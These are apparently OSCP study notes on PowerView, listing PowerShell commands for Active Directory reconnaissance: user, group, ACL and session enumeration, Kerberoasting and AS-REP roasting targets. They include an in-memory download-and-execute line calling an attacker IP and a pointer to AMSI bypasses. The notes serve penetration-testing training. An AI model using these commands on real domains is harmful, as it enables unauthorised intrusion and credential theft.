PowerView

PowerView — OSCP Notes

Ctrl+F: PowerView · Get-DomainUser · Find-InterestingDomainAcl

External: Internal All The Things — Enumeration External: Internal All The Things — Unconstrained Delegation

Purpose	Enumerate Active Directory
Phase	Recon
Part of	PowerSploit framework

What is PowerView?

PowerView is part of PowerSploit (PowerSploit) — a PowerShell module for Active Directory enumeration without running BloodHound. Query LDAP from a Windows shell when you’re on-box or have domain creds in PowerShell.

OSCP use: Find Kerberoastable users, domain admins, ACL abuse targets, local admin paths, and session info when you have a Windows shell but can’t run SharpHound yet.

Linux equivalent: ldapsearch, CrackMapExec - nxc ldap, Impacket.

---

Load PowerView

# Download + import (no disk — memory)
IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.201/PowerView.ps1')
Import-Module .\PowerView.ps1
 
# From already-uploaded file
Import-Module .\PowerView.ps1
. .\PowerView.ps1

AMSI may block — see evil-winrm Bypass-4MSI or obfuscated loaders in labs.

---

📌 1) Domain & Forest Info

Get-Domain
Get-DomainController
Get-Forest
Get-DomainPolicy
Get-DomainPolicyData                    # Password policy (lockout threshold!)

Always check password policy before spraying — compare with nxc smb TARGET --pass-pol.

---

📌 2) User Enumeration

Get-DomainUser                          # All users
Get-DomainUser -Identity jsmith         # Single user
Get-DomainUser -SPN                     # Kerberoastable (has SPN)
Get-DomainUser -AdminCount              # Protected / high-value accounts
Get-DomainUser -Properties * | Select samaccountname,description,mail
Get-DomainUser -UACFilter DONT_REQ_PREAUTH   # AS-REP roastable

Export for cracking:

Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

See Kerberoast.

---

📌 3) Group Enumeration

Get-DomainGroup
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Enterprise Admins"
Get-DomainGroupMember -Identity "Remote Management Users"

---

📌 4) Computer Enumeration

Get-DomainComputer
Get-DomainComputer -OperatingSystem "*Server*"
Get-DomainComputer -SPN               # Unconstrained delegation hosts
Get-DomainComputer -TrustedToAuth     # Trusted for delegation
Get-DomainComputer -Properties dnshostname,operatingsystem,description

---

📌 5) ACL / Permission Abuse

Find where you have GenericAll, WriteDacl, ForceChangePassword, etc.:

Find-InterestingDomainAcl
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Get-ObjectAcl -SamAccountName jsmith -ResolveGUIDs

BloodHound visualizes the same paths — AD Permissions hub · WriteDacl · GenericAll · ForceChangePassword · Bloodhound + Sharphound

---

📌 6) Sessions & Local Admin

Find-DomainUserLocation                 # Where users are logged in
Find-DomainLocalGroupMember -GroupName "Administrators"
Get-NetSession -ComputerName DC01
Test-AdminAccess -ComputerName WS01
Find-LocalAdminAccess                   # Where YOU have local admin
Invoke-UserHunter                       # DA session hunting

---

📌 7) SPN & Kerberos

Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

On Linux, same data via:

impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request
nxc ldap DC_IP -u user -p pass --kerberoasting kerb.txt

---

📌 8) PowerView vs Other Tools

Task	PowerView	Linux alternative
User list	Get-DomainUser	ldapsearch, nxc ldap --users
Kerberoast targets	Get-DomainUser -SPN	Kerberoast, GetUserSPNs
AS-REP targets	-UACFilter DONT_REQ_PREAUTH	GetNPUsers
Attack paths	Manual + Bloodhound + Sharphound	bloodhound-python
Password policy	Get-DomainPolicyData	nxc smb --pass-pol
Session hunting	Invoke-UserHunter	nxc smb --loggedon-users

---

📌 Quick Cheat Sheet

Import-Module .\PowerView.ps1
Get-Domain
Get-DomainPolicyData
Get-DomainUser -SPN
Get-DomainGroupMember "Domain Admins"
Find-LocalAdminAccess
Find-InterestingDomainAcl
Invoke-UserHunter

---

Related Tools

• Bloodhound + Sharphound
• SharpHound
• Active Directory Cmdlets
• ldapsearch
• CrackMapExec - nxc
• Rubeus
• Kerberoast

Related Notes

• PowerSploit
• PowerUp
• Active Directory
• AD
• Kerberos
• Impacket
• Windows PrivEsc
• LatMovement
• Training